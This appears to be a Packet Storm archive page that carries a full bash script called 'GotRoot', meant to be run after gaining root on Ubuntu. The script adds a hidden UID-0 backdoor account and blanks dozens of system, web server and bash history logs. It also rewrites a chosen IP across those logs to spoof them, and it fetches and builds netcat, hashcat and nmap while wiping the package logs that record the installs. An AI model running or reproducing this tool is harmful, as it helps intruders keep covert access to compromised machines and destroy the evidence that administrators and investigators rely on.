exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

GotRoot Shell Script

GotRoot Shell Script
Posted Aug 9, 2011
Authored by Codeine

This post-escalation bash script sanitizes 29 logs, adds a root user, and allows for package installation including hashcat, nmap, and more. Written for Ubuntu.

tags | tool, root, rootkit, bash
systems | linux, unix, ubuntu
SHA-256 | dbcfe980157abcbf52b90ed25f13f5a5ca5b90bf4ec49c9d58423b69de944a14

GotRoot Shell Script

Change Mirror Download
#!/bin/bash
#Coded By Codeine
#Visit http://infosecforums.com For Updates
#Or If You Have Input
#
#Version: 1.2
#
#Send Any Problems To f3codeine@yahoo.com Or Visit Site Above
#
################################################################
clear
echo "#########Overdose Shell Script############"
echo "# _____ _ ______ _ # "
echo "#| __ \ | | | ___ \ | | # "
echo "#| | \/ ___ | |_ | |_/ /___ ___ | |_ # "
echo "#| | __ / _ \| __| | // _ \ / _ \| __|# "
echo "#| |_\ \ (_) | |_ | |\ \ (_) | (_) | |_ #"
echo "# \____/\___/ \__| \_| \_\___/ \___/ \__|#"
echo "################By Codeine################"
if [ "$(id -u)" != "0" ]; then
echo ">You Must Run As Root<" 1>&2
exit 1
fi
echo "Usage $0 [option]"
echo ""
echo ""
if [ "$1" == "--help" ] || [ "$1" == "" ]; then
echo "Usage $0 [option]"
echo "--help Displays List Of Options"
echo "--packages Install Various Packages(Run For List)"
echo "--addroot Add Root User"
echo "--spooflogs Spoof Logs With Fake IP"
echo "--clearlogs Blanks Out Logs"
echo "--support Gather Tats To Help Support The Project"
exit
elif [ "$1" == "--addroot" ]; then
echo "[*]Enter Username: "
read rusername
useradd -u 0 -o -g 0 -G 0,1,2,3,4,6,10 -M $rusername
echo "$rusername Was Created"
echo "[*]Set Password: "
passwd $rusername
exit
elif [ "$1" == "--clearlogs" ]; then
echo "[*]Clearning Logs..."
echo "------------------------------------"
#Clears 32 Different Logs
blanklog() {
if [ -f ${1} ]; then
echo ""
echo "--[*]Cleared ${1}"
echo "" > ${1}
if [ -f ${1}.1 ]; then
echo "--[*]Cleared ${1} Backup"
echo "" > ${1}.1
fi
fi
}
blanklog /var/log/lastlog
blanklog /var/log/syslog
blanklog /var/log/syslog
blanklog /var/log/messages
blanklog /var/log/httpd/access_log
blanklog /var/log/httpd/access.log
blanklog /var/log/httpd/error_log
blanklog /var/log/httpd/error.log
blanklog /var/log/apache2/access_log
blanklog /var/log/apache2/access.log
blanklog /var/log/apache2/error.log
blanklog /var/log/apache2/error_log
blanklog /var/log/wtmp
blanklog /var/log/secure
blanklog /var/log/xferlog
blanklog /var/log/auth.log
blanklog /var/log/lighttpd/lighttpd.error.log
blanklog /var/log/lighttpd/lighttpd.access.log
blanklog /var/run/utmp
blanklog /var/www/logs/access_log
blanklog /var/www/logs/access.log
blanklog /var/www/logs/error_log
blanklog /var/www/logs/error.log
blanklog /var/log/apache/access_log
blanklog /var/log/apache/access.log
blanklog /var/log/apache/error_log
blanklog /var/log/apache/error.log
blanklog /var/log/yum.log
blanklog /etc/httpd/logs/access_log
blanklog /etc/httpd/logs/access.log
blanklog /etc/httpd/logs/error_log
blanklog /etc/httpd/logs/error.log
echo ""
echo "--[*]Clearing Bash History"
echo -n > ~/.bash_history
history -c
echo "------------------------------------"
echo "[*]All Logs Cleared"
exit
elif [ "$1" == "--packages" ]; then
echo "[*]Listing Packages.."
echo "------------------------------------"
echo ""
echo "0) Install All"
echo "1) NMAP http://nmap.org/"
echo "2) Hashcat http://hashcat.net/"
echo "3) Netcat http://netcat.sourceforge.net/"
echo "Which Would You Like To Install: "
read pinstall
if [ "$pinstall" == "0" ] || [ "$pinstall" == "1" ] || [ "$pinstall" == "2" ] || [ "$pinstall" == "3" ]; then
function nmapinstall {
echo "[*]Checking If Nmap Is Installed:"
if [ -d /usr/local/share/nmap/ ]; then
echo "[*]Nmap Is Installed. --Version"
nmap --version
else
echo "[*]Nmap Is Not Installed"
echo "[*]Nmap Installation Will Now Commence"
wget -c http://nmap.org/dist/nmap-5.59BETA1.tar.bz2
bzip2 -cd nmap-5.59BETA1.tar.bz2 | tar xvf -
cd nmap-5.59BETA1
./configure
make
make install
echo "[*]Nmap Installed. Now Cleaning Up"
rm -r nmap-5.59BETA1
rm nmap-5.59BETA1.tar.bz2
if [ -f /var/log/dpkg.log ]; then
echo "" > /var/log/dpkg.log
if [ -f /var/log/dpkg.log.1 ]; then
echo "" > /var/log/dpkg.log.1
fi
fi
fi
}
function hashcatinstall {
if [ ! -d /home/sysinstall/ ]; then
mkdir /home/sysinstall
fi
if [ ! -d /home/sysinstall/hashcat/ ]; then
cd /home/sysinstall
wget http://infosecforums.com/uploads/hashcat.tar.gz
tar xvfz hashcat.tar.gz
rm hashcat.tar.gz
else
echo "[*]Hashcat Is Already Installed"
fi


}
function netcatinstall {
if [ ! -f /usr/local/bin/nc ]; then
if [ ! -d /home/sysinstall/ ]; then
mkdir /home/sysinstall
fi
cd /home/sysinstall
wget http://infosecforums.com/uploads/netcat-0.7.1.tar.gz
tar -xzf netcat-0.7.1.tar.gz
cd netcat-0.7.1.tar.gz
./configure
make
make install
echo "[*]Netcat Installed. Now Cleaning Up"
rm netcat-0.7.1.tar.gz
rm netcat-0.7.1
if [ -f /var/log/dpkg.log ]; then
echo "" > /var/log/dpkg.log
if [ -f /var/log/dpkg.log.1 ]; then
echo "" > /var/log/dpkg.log.1
fi
fi
else
echo "[*]Netcat Is Already Installed"
fi

}
if [ "$pinstall" == "1" ]; then
nmapinstall
elif [ "$pinstall" == "2" ]; then
hashcatinstall
elif [ "$pinstall" == "3" ]; then
netcatinstall
elif [ "$pinstall" == "0" ]; then
nmapinstall
hashcatinstall
netcatinstall
fi
else
echo "Please Enter A Valid Package Number"
exit
fi
elif [ "$1" == "--spooflogs" ]; then
echo "[*]IP To Replace: "
read realip
echo "[*]IP To Replace With: "
read fakeip
echo ""
echo "[*]Spoofing Logs..."
echo "------------------------------------"
spooflog() {
if [ -f ${1} ]; then
echo ""
echo "--[*]Spoofed ${1}"
sed -i "s/$realip/$fakeip/g" ${1}
if [ -f ${1}.1 ]; then
echo "--[*]Spoofed ${1} Backup"
sed -i "s/$realip/$fakeip/g" ${1}.1
fi
fi
}
spooflog /var/log/lastlog
spooflog /var/log/syslog
spooflog /var/log/syslog
spooflog /var/log/messages
spooflog /var/log/httpd/access_log
spooflog /var/log/httpd/access.log
spooflog /var/log/httpd/error_log
spooflog /var/log/httpd/error.log
spooflog /var/log/apache2/access_log
spooflog /var/log/apache2/access.log
spooflog /var/log/apache2/error.log
spooflog /var/log/apache2/error_log
spooflog /var/log/wtmp
spooflog /var/log/secure
spooflog /var/log/xferlog
spooflog /var/log/auth.log
spooflog /var/log/lighttpd/lighttpd.error.log
spooflog /var/log/lighttpd/lighttpd.access.log
spooflog /var/run/utmp
spooflog /var/www/logs/access_log
spooflog /var/www/logs/access.log
spooflog /var/www/logs/error_log
spooflog /var/www/logs/error.log
spooflog /var/log/apache/access_log
spooflog /var/log/apache/access.log
spooflog /var/log/apache/error_log
spooflog /var/log/apache/error.log
spooflog /var/log/yum.log
spooflog /etc/httpd/logs/access_log
spooflog /etc/httpd/logs/access.log
spooflog /etc/httpd/logs/error_log
spooflog /etc/httpd/logs/error.log
echo "------------------------------------"
echo "[*]Logs Spoofed"
elif [ "$1" == "--support" ]; then
echo "[*]If you would like to support the production of this script,"
echo "[*]Email the following stats to f3codeine@yahoo.com"
echo "[*]Server mailer may not send which is why I ask for manual email"
echo "-----------Stats I Would Like----------------"
echo "ls /usr/bin"
echo "[*]This will display installed applications, warning this will display alot of files & dirs."
echo ""
echo "ls /var/log"
echo "[*]This is the defualt location for logs."
echo "-----------------------------------------------"
echo ""
echo "[*]I would very much appreciate if you ran those list commands and sent me the results"
echo "[*]If you want to see this script develope more its a simple task to help out."
fi
##End of file: Visit http://infosecforums.com


Login or Register to add favorites

File Archive:

September 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    23 Files
  • 2
    Sep 2nd
    12 Files
  • 3
    Sep 3rd
    0 Files
  • 4
    Sep 4th
    0 Files
  • 5
    Sep 5th
    10 Files
  • 6
    Sep 6th
    8 Files
  • 7
    Sep 7th
    30 Files
  • 8
    Sep 8th
    14 Files
  • 9
    Sep 9th
    26 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    5 Files
  • 13
    Sep 13th
    28 Files
  • 14
    Sep 14th
    15 Files
  • 15
    Sep 15th
    17 Files
  • 16
    Sep 16th
    9 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    12 Files
  • 20
    Sep 20th
    15 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    13 Files
  • 23
    Sep 23rd
    12 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close